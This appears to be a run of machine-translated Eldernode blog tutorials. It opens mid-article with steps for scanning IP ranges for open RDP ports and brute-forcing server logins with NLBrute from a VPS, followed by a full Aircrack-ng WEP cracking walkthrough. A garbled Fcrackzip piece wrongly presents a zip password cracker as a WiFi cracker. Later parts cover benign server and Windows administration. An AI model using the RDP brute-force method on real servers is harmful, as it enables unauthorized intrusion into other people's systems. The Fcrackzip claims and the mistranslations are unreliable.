Kport 扫描软件不需要特殊设置。所以进入 kport 扫描程序,在程序的左边输入你所有的 IP 范围。不要担心,如果你的列表中有额外的文本,它会被自动删除。
从下拉菜单中输入您的 IP 地址所属国家的名称。(可选)
将端口默认设置为 3389,这是默认的 rdp 服务端口。然后单击开始扫描 IPs。
Kport 扫描将打开的服务器列表存储在一个名为 results.txt 的文本文件中。
注意: 为下一步保留活动的 IP 文件。
如何用 NL Brute 破解 RDP 管理服务器
此时,您需要运行 Nlbrute 软件。然后你要在软件里调用 3 个列表。(IP 列表、用户列表、密码列表)
运行 Nlbrute 后,转到工作文件选项卡。现在,您必须在服务器、用户和密码部分输入所有 3 个列表。最后,点击生成按钮进入列表。
在设置选项卡中不需要设置,默认设置是合适的。
进入蛮力标签,点击开始对你的服务器列表发起蛮力攻击。每一次服务器被破解,良好计数增加 1,并指示服务器被破解。完成后,服务器及其用户名和密码的列表将放在一个文本文件中。
结论
攻击的持续时间取决于你的 3 个列表的大小。列表越大,攻击时间越长,可能需要几天或几周。请注意,不要在您的个人电脑上执行此过程。因为速度低而且几天不能开机。所以你必须在 VPS 服务器上完成这个过程,以获得高速和强大的能力,你甚至可以持续攻击几天。
在这篇文章中,我们试图向你学习如何破解 RDP 管理服务器。如果愿意可以参考文章如何破解 Linux VPS 。
如何使用 AirCrack-ng 破解 WEP 加密
原文:https://blog.eldernode.com/crack-wep-encryption-using-aircrack-ng/
Kali Linux 中用于分析、渗透和攻击无线网络的强大软件包之一叫做 Aircrack-ng。这个软件包由几个非常有用的工具组成,用于分析、监听和渗透无线网络。这篇文章将教你如何使用 AirCrack-ng 破解 WEP 加密。如果你打算购买一台 VPS 服务器,你可以查看 Eldernode 网站上提供的套装。
AirCrack-ng 是一套完整的工具,用于检测、记录和分析数据包,破解 WEP 和 PSK-WPA 密钥,以及评估 Wifi 网络安全。该工具具有攻击网络的能力,并允许黑客获取网络密码。它是十大黑客和安全工具之一,默认安装在 Kali Linux 操作系统中。Aircrack-ng 工具可以检测不同的标准,如 a/b/g/802.11。更多信息,你可以参考我们在 ubuntu 20.10 帖子上的教程安装和使用 Aircrack-Ng。
利用 Aircrack-ng 破解 WEP 加密
第一步,您应该在 AP 信道上以监控模式启动无线接口。在正常模式下,您的卡只能听到发给您的数据包。此时,您的卡将处于监控模式,在这种模式下,您的卡可以听到空中的任何数据包。
您需要借助以下命令创建第一个停靠点:
airmon-ng stop ath0
系统响应如下:
现在确保没有其他的 athX 接口。为此,请运行以下命令:
iwconfig
它应该如下所示:
记住停止任何剩余的 athX 接口。完成后,再次输入下面的命令以确保没有剩余:
iwconfig
使用以下命令在 Ap 运行的信道上以监控模式启动无线网卡:
airmon-ng start wifi0 channel-number
注意:记住用上面命令中的频道号替换 AP 运行的频道号。
接下来,将您的无线网卡锁定到 AP 频道。
我们使用“wifi0”而不是“ath0”的原因是因为使用了 madwifi-ng 驱动程序。如果您使用其他驱动程序,请使用无线接口名称,如“wlan0”或“rausb0”。
系统响应如下:
“ath0”如上所述被置于监控模式。
现在,通过运行以下命令确认接口设置正确:
iwconfig
系统将做出如下响应:
上面的响应显示 ath0 处于 2.452 GHz 的监控模式,接入点显示您的无线网卡的 MAC 地址。只有 madwifi-ng 驱动显示你的无线网卡的 MAC 地址,其他驱动不显示。您应该在继续之前确认以上所有信息,以下步骤将无法正常工作。
测试无线设备数据包注入
此步骤确保您的卡在 AP 的范围内,并且可以向其注入数据包。首先,输入下面的命令:
aireplay-ng -9 -e teddy -a 00:14:6C:7E:40:80 ath0
在上面的命令中:
–>-9:是注射测试。
–>-e 泰迪:是无线网络名称。
–>-a 00:14:6C:7E:40:80:这是接入点 MAC 地址。
–>ath 0:是无线接口名称。
系统响应应该如下:
你应该得到 100%或者很高的百分比。否则,你离 AP 太远或太近。如果它说零,这表明注入不工作,你需要修补你的驱动程序或使用不同的驱动程序。
启动 airodump-ng 捕捉 IVs
现在,您将从特定的访问点捕获生成的 IVs。
打开另一个控制台会话,并运行以下命令:
airodump-ng -c 9 --bssid 00:14:6C:7E:40:80 -w output ath0
在上面的命令中:
–>-C9:是无线网络的通道。
–>–bssid 00:14:6C:7E:40:80:接入点 MAC 地址可消除外来流量。
–>-w:这是包含 IVs 的文件的文件名前缀。
–>ath 0:是接口名。
进行注射时,您将看到以下屏幕:
在这一步中,您可以使用 airplay-ng 对接入点进行假认证。对于接受数据包的接入点,源 MAC 地址应该已经关联。否则,AP 将忽略该数据包,并以明文形式发送一个“取消身份验证”数据包。没有创建新的 IV,因为 AP 忽略了所有注入的数据包。
注入失败的最大原因是缺乏与接入点的通信。您用于注入的 MAC 应该使用假认证或使用来自已经与 AP 关联的客户端的 MAC 与 AP 关联。
现在与一个接入点关联,使用如下所示的假认证:
aireplay-ng -1 0 -e teddy -a 00:14:6C:7E:40:80 -h 00:0F:B5:88:AC:82 ath0
在上面的命令中:
–>-1:表示假认证。
–>0:以秒为单位显示重关联时间。
–>-e 泰迪:是无线网络名称。
–>-a 00:14:6C:7E:40:80:这是接入点 MAC 地址。
–>-h00:0F:B5:88:AC:82:是卡的 MAC 地址。
–>ath 0:是无线接口名称。
如果您收到以下信息,您已经成功了:
挑剔接入点的另一种变化如下:
aireplay-ng -1 6000 -o 1 -q 10 -e teddy -a 00:14:6C:7E:40:80 -h 00:0F:B5:88:AC:82 ath0
那就是:
–>6000:每 6000 秒重新认证一次。长周期也保持包存活。
–>-O1:一次发送一套套餐。缺省值是 multiple,这让一些 AP 感到困惑。
–>-Q10:每 10 秒发送一次保活数据包。
成功将看起来如下:
在成功实现假身份验证之前,您不应该继续下一步。
在 ARP 请求重放模式下开始空中重放
在本步骤中,您将开始在监听 ARP 请求并将它们注入网络的模式下运行。
AP 将重新广播 ARP 请求数据包并生成新的 IV。首先,您应该打开另一个控制台会话并运行以下命令:
它监听 ARP 请求,当它听到一个请求后,airplay-ng 立即开始注入它。在 air play-ng 注入 ARP 请求后,屏幕将如下所示:
aireplay-ng -3 -b 00:14:6C:7E:40:80 -h 00:0F:B5:88:AC:82 ath0
检查您的 air dump-ng 屏幕以确认您正在注射。数据包应该会迅速增加。“#/s”应该是一个合适的数字,合适与否取决于各种因素。典型的范围是每秒 300 到 400 个数据包。可以达到每秒 100,最高每秒 500。
运行 aircrack-ng 获取 WEP 密钥
在这一步中,您将从前面步骤中收集的 IVs 中获取 WEP 密钥。
您可以在 AP 上使用 64 位 WEP 密钥来加速破解过程。要将密钥检查限制在 64 位,请包含“-n 64”。
将展示两种方法,即 PTW 和 FMS/Korek。如果您尝试这两种方法,您会发现与 FMS/Korek 方法相比,PTW 方法成功地确定了 WEP 密钥。PTW 方法仅适用于 arp 请求/回复数据包。要使用这种方法,您需要注入 ARP 请求数据包,并使用 airodump-ng 捕获完整的数据包。但是您不应该使用“–IVS”选项。
现在,您应该启动另一个控制台会话,并运行以下命令:
那就是:
aircrack-ng -b 00:14:6C:7E:40:80 output*.cap
–>-b 00:14:6C:7E:40:80:它选择你想要的接入点,是可选的。当您捕获数据时,您应用了一个过滤器,只为这个 AP 捕获数据。
–>输出*。cap: 选择所有以“output”开头,以“.”结尾的文件。帽”。
您可以通过启动另一个控制台会话来使用 FMS/Korek 方法。为此,请输入以下命令:
那就是:
aircrack-ng -K -b 00:14:6C:7E:40:80 output*.cap
–>-K:调用 FMS/Korek 方法。
–>-b00:14:6C:7E:40:80:选择一个接入点,可选。当您捕获数据时,您应用了一个过滤器来只捕获这个 AP 的数据。
–>输出*。cap: 选择所有以“output”开头,以“.”结尾的文件。帽”。
请注意,如果您使用的是 1.0-rc1,您应该为 FMS/Korek 攻击添加“-K”选项。
当数据包生成时,您可以运行上面的命令。128 位密钥大约需要 1,500,000 个 iv,64 位密钥需要 250,000 个 iv。如果使用 PTW 攻击,128 位需要 40,000 到 85,000 个数据包,64 位需要 20,000 个数据包。有这么多的变量,你实际上需要几个 iv 来破解一个 WEP 密钥。
成功看起来如下:
就是这样!你已经使用空中破解成功破解了 WEP 加密。
我们的网站提供经济实惠的 Linux VPS 包,如果你需要的话可以购买。
结论
AirCrack-ng 是破解 WEP 和 WPA-PSK 最著名的工具。在这篇文章中,我们教你如何使用 AirCrack-ng 破解 WEP 加密。我希望这篇教程能帮助你用 AirCrack-ng 破解 WEP 加密。如果你有任何疑问或问题,可以在评论区联系我们。
Conclusion
AirCrack-ng is the best-known tool available for cracking WEP and WPA-PSK. In this article, we taught you how to crack WEP Encryption using AirCrack-ng. I hope this tutorial helps you to crack WEP Encryption with AirCrack-ng. If you have any questions or problems, you can contact us in the Comments section.
教程在 Kali Linux 上使用 Fcrackzip 破解 wifi 密码
原文:https://blog.eldernode.com/crack-wifi-password-using-fcrackzip-on-kali/
你在找一个功能强大的工具来破解 Kali Linux 上的密码吗?在本文中,我们将介绍 Fcrackzip,这是一个快速的密码破解工具。让我们来学习一下在 Kali Linux 上使用 Fcrackzip 破解 wifi 密码。如果您想 购买 Linux VPS 服务器,请在 Eldernode 网站上查看提供的套装。
如何用 Fcrackzip 破解 wifi 密码
Fcrackzip 是一个用于解密无线网络密码的开源工具。在本教程中,我们将向您展示如何在 kali linux 上使用 fcrackzip破解 WPA/WPA 密码。
Fcrackzip 是什么?
Fcrackzip 是一款用于恢复无线网络密码的开源工具。它支持 WEP 和 WPA 加密方案。Fcrackzip 是一个部分用汇编语言编写的密码破解工具。该工具在 zip 文件中搜索加密文件,并试图猜测密码。这种方法基于暴力或基于字典的攻击,并使用 unzip 测试结果。你也可以用 Fcrackzip 破解 cpmask 的图片。
在这篇来自 Kali Linux 培训系列的文章的续篇中,我们打算教你如何在 Kali Linux 上安装 Fcrackzip。
如何在 Kali Linux 上安装 Fcrackzip
首先用下面的命令更新系统包:
sudo apt update
然后您可以使用下面的命令在 Kali Linux 上安装 Fcrackzip :
sudo apt install fcrackzip
如何在 Kali Linux 上运行 Fcrackzip
安装后,使用以下命令运行 Fcrackzip 的不同工具:
fcrackzip --help
要使用强力算法,运行以下命令:
fcrackzip -b
fcrackzip --brute-force
您可以使用字典运行以下命令:
fcrackzip -D
fcrackzip --dictionary
运行以下命令执行一个小基准:
fcrackzip -B
fcrackzip --benchmark
要使用字符集中的字符,运行以下命令:
fcrackzip -c
fcrackzip --charset characterset
要显示程序的版本,使用以下命令:
fcrackzip --version
为了检查算法的健全性,运行以下命令:
fcrackzip -V
fcrackzip --validate
要使更加详细,请使用以下命令:
fcrackzip -v
fcrackzip --verbose
通过运行以下命令,您可以使用 string 作为初始密码/文件:
fcrackzip -p
fcrackzip --init-password-string
运行以下命令检查密码,长度从最小到最大:
fcrackzip -l
fcrackzip --length min-max
您可以通过运行以下命令,使用 unzip 来清除错误的密码:
fcrackzip -u
fcrackzip --use-unzip
将方法号 num 与以下命令一起使用:
fcrackzip -m
fcrackzip --method num
运行下面的命令来计算密码的 1/m:
fcrackzip -2
fcrackzip --modulo r/m
结论
在本文中,您了解了 Fcrackzip,它是快速破解工具之一。此外,您还学习了如何在 Kali Linux 上使用 Fcrackzip 安装 WPA/WPA2 WiFi 密码,最后我们回顾了 Fcrackzip 的不同工具以及如何在 Kali Linux 上运行它们。
如何在 Windows 7/8/10 中创建可启动的 USB 闪存驱动器
原文:https://blog.eldernode.com/create-a-bootable-usb-flash-drive-in-windows/
如你所知,许多新一代的笔记本电脑和计算机由于其纤薄的设计而没有光驱来读取光盘。在这些笔记本电脑上安装 Windows 的唯一方法是使用 USB 驱动器。为此,您需要创建一个可引导的 Windows USB 驱动器,并将 Windows 安装文件放入其中。本文将教你如何在 Windows 7/8/10 中创建一个可引导的 USB 闪存驱动器。如果你想购买自己的 廉价 Windows VPS 服务器,可以查看 Eldernode 网站上提供的软件包。
本教程将向您展示如何从 ISO 映像制作可启动的闪存驱动器。
安装每个版本的 Windows 都有不同的流程,需要不同的工具。要安装特定版本的 Windows,您需要使用以下工具并创建一个可引导的 Windows USB 驱动器。
如何下载适用于 Windows 7/8/10 的 ISO 文件
您应该为您的操作系统下载一个 ISO 文件,以便能够在 Windows 7/8/10 中创建一个可引导的 USB 闪存驱动器。您可以从 Microsoft 和使用媒体创建工具来完成此操作。
从微软下载 ISO 文件
首先,从任何基于 Chromium 的浏览器进入微软的下载窗口页面:
下载 Windows 7 | 下载 Windows 8 | 下载 Windows 10
你会发现,你只能使用 Windows Update 或微软 Windows Media Creation Tool 将你的 Windows 更新到新版本。
但是你可以把你的浏览器用户换成非 Windows 操作系统来欺骗微软的 Windows 下载页面提供 ISO 镜像。
现在点击 Chrome 菜单,进入更多工具>开发者工具路径:
按下 Ctrl+Shift+M 组合键打开设备工具栏。借助此工具栏,您可以模拟另一台设备。设备工具栏还可以更改浏览器的用户代理,当切换到另一个设备时,网站使用该代理来识别访问者的操作系统。
现在,为了更好地查看页面,点击响应式菜单,选择 iPad 或 iPad Pro:
你会看到屏幕大小设置为 50%。再次将其更改为 100%:
现在按下 F5 刷新页面。你会看到微软网站提供的是 Windows 版本的 ISO,而不是媒体制作工具。
然后点击选择版本下拉菜单,选择最新功能更新名称下的 Windows 选项。选择完毕后,点击确认。
在此步骤中,系统将提示您选择产品语言 ISO。一旦选定,点击确认:
你应该选择是要下载一个 32 位还是 64 位版本的 Windows ISO,然后点击下载。然后选择你想要保存 ISO 文件的文件夹,点击保存下载。
等待下载完成,当下载完成时,该过程也将完成。
使用媒体制作工具 下载 ISO 文件
媒体创建工具是微软的工具之一,允许您将最新的 Windows ISO 下载到文件或刻录到 USB 驱动器。
首先,进入 Windows 下载页面,选择你想要的版本。本教程我们会选择 Windows 10 版本。
然后点击上的下载工具 now** 链接创建 Windows 10 安装介质**。
下载完成后,允许 Windows 运行该程序:
现在,通过点击接受来接受许可协议。
接下来,您应该选择'为另一台 PC 创建安装介质(USB 闪存驱动器、DVD 或 ISO 文件),并按下下一步:
等待必要的文件下载并通过媒体创建工具验证:
下载过程完成后,将要求您为您的 ISO 映像选择语言、体系结构和 Windows 版本。如果您不想使用推荐的选项,您可以取消选中‘为这台电脑使用推荐的选项’复选框。完成后,点击下一个:
现在选择 ISO 文件,点击下一步:
然后选择一个文件夹来保存 ISO 文件。ISO 文件将在指定位置创建。
最后,点击完成关闭程序。
这就是下载 Windows 7/8/10 的 ISO 文件所需的全部内容。
从 ISO 镜像创建可启动的 u 盘
本教程将教你如何从一个 ISO 映像制作一个可启动的闪存驱动器。这将允许您从 u 盘安装 Windows,而不必先刻录到 CD 或 DVD 上。
安装完成后,您可以使用 Rufus 和 PowerISO 工具将 USB 转换为可引导设备。
如何使用 Rufus 创建可启动的 u 盘
按照以下步骤使用 Rufus 创建一个可引导的 USB 闪存驱动器:
1->从官网下载 Rufus。下载完成后,双击应用程序,软件会自动启动程序。
2 –>插入 USB 闪存驱动器。你可以看到你面前的选项列表。
3->在“新卷标”选项卡中命名您的可引导 USB 设备。
4 –>单击光驱图标选择。您要使用的 iso 文件。选择完毕后,点击开始:
5 –>然后会提示您删除 USB 驱动器中的所有数据:
6 –>最后,等待 Rufus 完成他们的工作。
如何使用 PowerISO 创建一个可启动的 u 盘
如果要使用 PowerISO 创建可引导的 USB 闪存驱动器,请按照以下步骤操作:
1 –>从官网下载 PowerISO 并安装到您的 PC 上。
2 –>插入 USB 驱动器。
3 –>运行 PowerISO 并转到工具>创建可引导 USB 驱动器路径:
4->点击 OK 以管理员身份使用 PowerISO:
5 –>单击文件夹选项浏览。您想使之成为可引导的 iso 文件:
6 –>点击目标 USB 驱动器选择您想要启动的适当 USB 驱动器。
7 ->选择书写方式并点击开始:
8 –>等待 PowerISO 完成其工作。
就是这样!您于 2010 年 7 月 8 日在 Windows 中成功创建了一个可启动的 USB 闪存驱动器。
结论
USB 技术取代了 CD 和 DVD,可引导磁盘已经过时。可引导 USB 对于引导操作系统是可靠的。在本文中,我们教你如何下载 ISO 文件,以及如何在 Windows 7/8/10 中创建一个可引导的 USB 闪存驱动器。我希望这个教程对你有用。如果你面临任何问题,有任何疑问或建议,可以在评论区联系我们。
教程在 Ubuntu 21.04 - Eldernode 博客上创建《我的世界》服务器
原文:https://blog.eldernode.com/create-a-minecraft-server-on-ubuntu/
《我的世界》是世界上最受欢迎的游戏之一。这款沙盒视频游戏于 2019 年发布,以其无限冒险而闻名。热衷于建造、探索、制作和在 3D 生成的世界中生存的游戏玩家将会沉迷于《我的世界》。要开始玩这款第二畅销的视频游戏,您需要创建自己的《我的世界》服务器。所以,加入我们这篇文章来回顾一下教程在 Ubuntu 21.04 上创建一个《我的世界》服务器。在 Eldernode 上订购您喜欢的包,购买您自己的 Ubuntu VPS 主机。
如何在 Ubuntu 21.04 上创建《我的世界》服务器
如果你和其他玩家对《我的世界》、《手工艺》和《《我的世界》》感兴趣,本指南将帮助你学习如何安装软件包、配置服务器以及部署到游戏中。作为玩家,你可以提高你解决问题的能力,锻炼你的创造力。此外,如果你相信有教育意义的游戏,《我的世界》就是你想要的。
在 Ubuntu 21.04 上制作《我的世界》服务器的先决条件
为了让本教程更好地工作,请考虑以下先决条件:
_ 拥有 Sudo 权限的非 root 用户。
_ 要进行设置,请遵循我们在 Ubuntu 21.04 上的初始服务器设置。
_ 至少 4GB 内存。
如何在 Ubuntu 21.04 上安装《我的世界》服务器
为了准确地知道谁在与您或您的孩子联系并一起玩,您需要设置自己的服务器。这意味着您可以完全掌控自己的游戏体验。由于 Ubuntu 以其易用性而闻名,Ubuntu 21.04 Hirsute Hippo 是托管《我的世界》服务器的最佳选择。和我们一起来完成在 Ubuntu 21.04 上制作《我的世界》服务器所需的步骤。
第一步:
正如所料,您将从安装所需的包开始,因为《我的世界》服务器需要它们来运行。因此,打开一个终端并键入:
sudo apt update
sudo apt install git build-essential
这样,构建 mcrcon 工具所需的包将被安装。
第二步:
这一步,你需要安装 Java 。《我的世界》需要 Java 8 或更高版本,但由于它不需要图形用户界面,您可以安装 Java 的无头版本。使用以下命令来完成此操作:
sudo apt install openjdk-11-jre-headless
然后,您可以通过运行以下命令来检查您已安装的版本:
java -version
第三步:
现在,您需要创建一个《我的世界》用户。但出于安全考虑,《我的世界》不应该以 root 用户身份运行。因此,用主目录 /opt/minecraft 创建一个新的系统用户和组。用户将拥有运行《我的世界》服务器所需的最低权限:
sudo useradd -r -m -U -d /opt/minecraft -s /bin/bash minecraft
由于您不会为该用户设置密码,因此该用户将无法通过 SSH 登录,也不会受到威胁。
注 :要换成《我的世界》用户,需要以 root 或者拥有权限的用户登录服务器。
第四步:
是时候在 Ubuntu 上安装《我的世界》了。但是首先,切换到 minecraft 用户:
sudo su - minecraft
然后,您需要在用户主目录中创建三个新目录。备份、工具和服务器。让我们来看看每一个的定义,然后创建它们:
1)备份目录
要存储您的《我的世界》服务器备份,您需要此目录。此外,您可以将该目录与远程备份服务器同步。
2)工具目录
第二个目录包含 mcrcon 客户端和备份脚本。
3)服务器目录
服务器目录包含实际的《我的世界》服务器及其数据。
您可以使用下面的命令创建这三个目录:
mkdir -p ~/{backups,tools,server}
第五步:
要下载编译 mcron ,去 GitHub、下载源代码。然后,您可以构建 mcron 二进制文件。CON 是一种允许您连接到《我的世界》服务器并执行命令的协议。
将 Tiiffi/mcrcon 库从 GitHub 克隆到 ~/tools/mcron 目录下:
git clone https://github.com/Tiiffi/mcrcon.git ~/tools/mcrcon
然后,切换到 mcron 目录并构建实用程序:
cd ~/tools/mcrcon
gcc -std=gnu11 -pedantic -Wall -Wextra -O2 -s -o mcrcon mcrcon.c
完成后,使用以下命令,通过打印版本来验证 mcrcon 是否已成功编译:
./mcrcon -v
《我的世界》服务器 Mods
要下载《我的世界》服务器,有几个《我的世界》服务器模块,如 Craftbukkit 或 Spigot。您可以使用它们来添加插件到您的服务器,并进一步定制和调整服务器设置。在本节中,您将学习安装 Mojang 官方香草《我的世界》服务器。因此,您将能够使用这些说明来安装任何其他所需的服务器模式。
要获得最新《我的世界》服务器的 Java 归档文件(JAR)的下载链接,请转到《我的世界》下载页面。然后用 wget 下载~/服务器目录下的 jar 文件:
wget https://launcher.mojang.com/v1/objects/a0d03225615ba897619220e256a266cb33a44b6b/server.jar -P ~/server
如何在 Ubuntu 21.04 上配置《我的世界》服务器
下载成功后,您可以通过切换到 ~/server 目录来启动《我的世界》服务器:
cd ~/server
java -Xmx1024M -Xms1024M -jar server.jar nogui
在第一次启动时,服务器执行一些操作,创建 server.properties 和 eula.txt 文件,然后停止。
输出要求您同意《我的世界》EULA。打开 eula.txt 文件,将 eula=false 改为 eula=true :
nano ~/server/eula.txt
现在,您可以保存并关闭文件。
要启用 rcon 协议并设置 rcon 密码,请打开 server.properties 文件:
nano ~/server/server.properties
要更新这些值,请在输出中查找这些行。
注意 :如果您不想从远程位置连接到《我的世界》服务器,请确保 rcon 端口被您的防火墙阻止。将强密码更改为更安全的密码。
如何创建 Systemd 单元文件
您可以创建一个 Systemd 单元文件,并将《我的世界》作为服务运行。建议不要手动启动《我的世界》服务器。请遵循以下路径来完成此操作:
1-通过键入 exit 切换回您的 Sudo 用户。
2-打开你的文本编辑器,在 /etc/systemd/system/ 目录下创建一个名为 minecraft.service 的文件。
sudo nano /etc/systemd/system/minecraft.service
然后,粘贴以下配置:
/etc/systemd/system/minecraft . service
[Unit] Description=Minecraft Server After=network.target
[Service] User=minecraft Nice=1 KillMode=none SuccessExitStatus=0 1 ProtectHome=true ProtectSystem=full PrivateDevices=true NoNewPrivileges=true WorkingDirectory=/opt/minecraft/server ExecStart=/usr/bin/java -Xmx1024M -Xms1024M -jar server.jar nogui ExecStop=/opt/minecraft/tools/mcrcon/mcrcon -H 127.0.0.1 -P 25575 -p strong-password stop
[Install] WantedBy=multi-user.target
然后你可以根据你的服务器资源修改 Xmx 和 Xms 标志。 Xmx 标志定义了 Java 虚拟机(JVM)的最大内存分配池,而 Xms 定义了初始内存分配池。此外,确保您使用正确的 rcon 端口和密码。
最后,保存文件并重新加载 systemd 管理器配置,运行:
sudo systemctl daemon-reload
现在,您可以通过键入以下命令来运行《我的世界》服务器:
sudo systemctl start minecraft
首次启动时,该服务将生成几个配置文件和目录,包括《我的世界》世界。运行以下命令检查服务状态:
sudo systemctl status minecraft
您可以使《我的世界》服务在启动时自动启动。所以,运行:
sudo systemctl enable minecraft
如何调整防火墙
如果您的系统启用了防火墙,并且您想从本地网络外部访问《我的世界》服务器,您需要打开端口 25565 :
sudo ufw allow 25565/tcp
如何配置备份
要自动备份《我的世界》服务器,您需要创建一个备份 shell 脚本和 cronjob。首先,切换到 minecraft :
sudo su - minecraft
打开您喜欢的文本编辑器并创建以下文件:
nano /opt/minecraft/tools/backup.sh
粘贴以下配置:
/opt/minecraft/tools/backup . sh
#!/bin/bash function rcon { /opt/minecraft/tools/mcrcon/mcrcon -H 127.0.0.1 -P 25575 -p strong-password "$1" } rcon "save-off" rcon "save-all" tar -cvpzf /opt/minecraft/backups/server-$(date +%F-%H-%M).tar.gz /opt/minecraft/server rcon "save-on" ## Delete older backups find /opt/minecraft/backups/ -type f -mtime +7 -name '*.gz' -delete
保存文件并使脚本可执行:
chmod +x /opt/minecraft/tools/backup.sh
然后,为了在一天的固定时间自动运行一次,您需要创建一个 cron 作业。要打开 crontab 文件,请运行:
crontab -e
例如,如果您希望每天 8:00 运行备份脚本,您需要粘贴以下行:
0 8 * * * /opt/minecraft/tools/backup.sh
如何在 Ubuntu 21.04 上访问《我的世界》控制台
您可以使用 mcrcon 实用程序来访问《我的世界》控制台。为此,指定主机、rcon 端口、rcon 密码,并使用-t 开关启用 mcrcon 终端模式:
/opt/minecraft/tools/mcrcon/mcrcon -H 127.0.0.1 -P 25575 -p strong-password -t
输出应该报告您的登录。你可以输入“ Q 退出。
注意 :无论何时从远程位置访问《我的世界》控制台,rcon 端口都不应该被阻塞。但是如果您经常连接到《我的世界》控制台,创建一个 bash 别名,而不是键入这个日志命令。
结论
在本文中,您了解了如何在 Ubuntu 21.04 上创建《我的世界》服务器。现在,你知道了如何在你的 Ubuntu 服务器上创建一个《我的世界》服务器,并设置每日备份。为了保证您的服务器安全和愉快,您必须邀请您认识的人在您的服务器上玩。一旦你的《我的世界》服务器设置好了,你就可以利用你的管理能力来获得优势,并将这些能力给予你的游戏伙伴。但是,您可以创建一个只供您和您的朋友使用的私人服务器,或者将其公开,供所有人访问。启动您的《我的世界》客户端并连接到服务器,开始您的《我的世界》之旅。
如何用 PowerShell 在 Windows 中创建用户- Eldernode Blog
原文:https://blog.eldernode.com/create-a-user-in-windows-with-powershell/
了解如何使用 PowerShell 一步步在 Windows 中创建用户。通常大多数 Windows 用户至少有过一次与 CMD 或命令提示符斗争的经历,并且知道 CMD 或命令提示符是用来执行 Windows 命令的。但是很少有人知道 PowerShell 是什么,它是如何工作的。在本文中,我们将教你如何用 PowerShell 在 Windows 中创建用户。PowerShell 是一个类似于命令提示符的工具,比命令提示符复杂和强大得多,并且应该完全取代命令提示符。因为 PowerShell 对 Windows 的能力和控制远大于命令提示符。
注意:CMD 或者命令提示符命令在 PowerShell 环境下工作,你也可以使用 CMD 用户命令创建 PowerShell 用户。
本教程基于 PowerShell 版本 5.1 及以上,默认安装在 Windows 10 和 Windows Server 2016 及以上。要在旧版本中使用此命令,您必须将相关模块添加到 PowerShell 中,或者使用命令提示符命令来创建用户。立即加入我们,了解如何使用 PowerShell 在 Windows 中创建用户。
教程使用 PowerShell 命令创建用户
Windows PowerShell 遵循一个全面的结构,了解您使用过 PowerShell 将使您非常容易学习如何在 PowerShell 中创建用户版本。
1- 首先在 Windows 中用管理员权限打开 PowerShell 。
2- 在 PowerShell 中创建一个用户,使用 New-localuser 命令,其结构类似如下。
New-LocalUser -Name [username] [Option]
New-LocalUser 命令的结构是这样的,它有一个名为 Name 的主要部分,实际上是用户名和其他参数,我们将在下面解释。
使用 PowerShell 在 Windows 中创建用户的示例
在解释各种参数之前,请注意下面的两个例子以更熟悉在 PowerShell 中创建的用户命令的结构。
例 1:
在下面的例子中,创建了一个名为 Michael 的用户,没有为其分配密码,并且在 Description 部分中,为该用户编写了一个描述,您可以根据需要对其进行定制。
New-LocalUser -Name “Michael” -Description “Test User” -NoPassword
例二:
在下面的示例中,与第一个示例一样,将创建一个具有特定用户名 Michael 和描述的用户,并为其分配一个密码。本例中重要的一点是,PowerShell 不接受简单类型或明文形式的密码,您必须首先创建一个变量并在其中输入密码,然后在命令之间使用该变量。
输入以下命令创建一个名为 Password 的变量,并从您那里秘密接收它。
$password = Read-Host -AsSecureString
输入上述命令后,您将收到一个密码。按 Enter 键后,还可以使用以下命令。
New-LocalUser -Name “Michael” -Description “Test User with Password” -Password $password
这将允许您在 PowerShell 中创建用户。我们现在将继续描述提到的其他实用参数。
PowerShell 中的 New-LocalUser 命令参数
AccountExpires: 用户的到期日期由该参数指定
帐户永不过期:用户帐户是否过期
禁用:用户帐户是活动的还是不活动的
FullName: Full username
密码永不过期:用户密码是否过期
usermaynnotchangepassword:用户可以更改或不更改密码
提到的项目是该命令的重要参数,它们与第一个和第二个示例中提到的参数一起构成了该命令的实际和特定参数。
下面是创建用户的完整示例。在此示例中,请参见参数的使用。
New-LocalUser -Name “Michael” -Description “IT Manager” -Password $password -FullName “Michael Jordan-Disabled -PasswordNeverExpires –UserMayNotChangePassword
结论
我们试图用实际例子教你如何在 Windows 中用 PowerShell 创建一个用户。还提到了 PowerShell 中的 New-LocalUser 命令参数。
如何在 VMware ESXi 6.5 - Eldernode 博客中创建虚拟机
原文:https://blog.eldernode.com/create-a-virtual-machine-in-vmware-esxi-6-5/
如果要对虚拟机有一个大概的定义,那就必须说它是一个软件,它为我们模拟并创造了一台物理计算机。一个 VM,就像一个专用服务器,有 Cpu,Ram,硬盘,但是虚拟的。创建虚拟机后,您可以安装和使用任何类型的操作系统或应用程序。在本文中,我们试图教你如何在 VMware ESXi 6.5 中创建虚拟机。你也可以访问 Eldernode 提供的包来购买专用服务器。
教程在 VMware ESXi 6.5 中创建虚拟机
在本文的其余部分,我们将分三步教您如何在 VMware ESXi 6.5 中创建虚拟机。需要注意的是,本培训的先决条件是一个 ISO 映像。请和我们在一起。
在 VMware ESXi 6.5 中创建虚拟机
如前所述,ESXi 是安装在一组企业服务器上的操作系统。ESXi 由 VMKernel 提供支持,并管理虚拟机进行通信。为了在 ESXi 上安装虚拟机,按顺序执行以下步骤就足够了。
如何在 VMware ESXi 6.5 中上传 ISO
开始工作之前,您应该确保可以在虚拟机上安装操作系统。应该注意的是,ESXi 使用户可以轻松实现直接 ISO 加载。
在第一步中,您必须从导航器面板中单击存储选项。
然后,在下一步中,您必须单击数据存储库选项卡,以便能够选择数据中心。使用这个数据中心,您将能够保存您的 ISO。
要确定保存 ISO 文件的位置,您必须单击数据存储浏览器按钮。然后你必须点击上传,选择下一步并点击。请注意,您的 ISO 加载时间取决于 ISO 大小和网络速度等参数。下一步,我们将教你如何在 ESXi 中创建虚拟机。
如何在 VMware ESXi 6.5 中创建虚拟机
成功完成 ISO 加载后,您需要继续在 ESXi 中创建虚拟机。因此,要在 VMware ESXi 6.5 中创建虚拟机,第一步必须从导航面板中单击虚拟机,如下图所示。
然后,您必须在下一步中点击创建/注册虚拟机按钮。如下图所示,您必须点击页面右侧的创建新虚拟机,然后点击下一步。
下一部分是关于选择一个名字和客户操作系统。正如您在本节中看到的,您必须为您的虚拟机选择一个名称。您还需要输入安装的相关信息,最后点击下一步。
在完成上一步中的信息并选择操作系统后,该选择数据存储库来存储虚拟机了。完成后,再次点击下一步。接下来,您将进入虚拟硬件设置。
请注意,您必须选择硬件设置,以满足虚拟机和操作系统运行的应用程序的需求。在下一步中,您必须点击 CD/DVD 驱动器 1 ,然后选择数据存储 ISO 文件。这将允许您下载您的 ISO 文件。
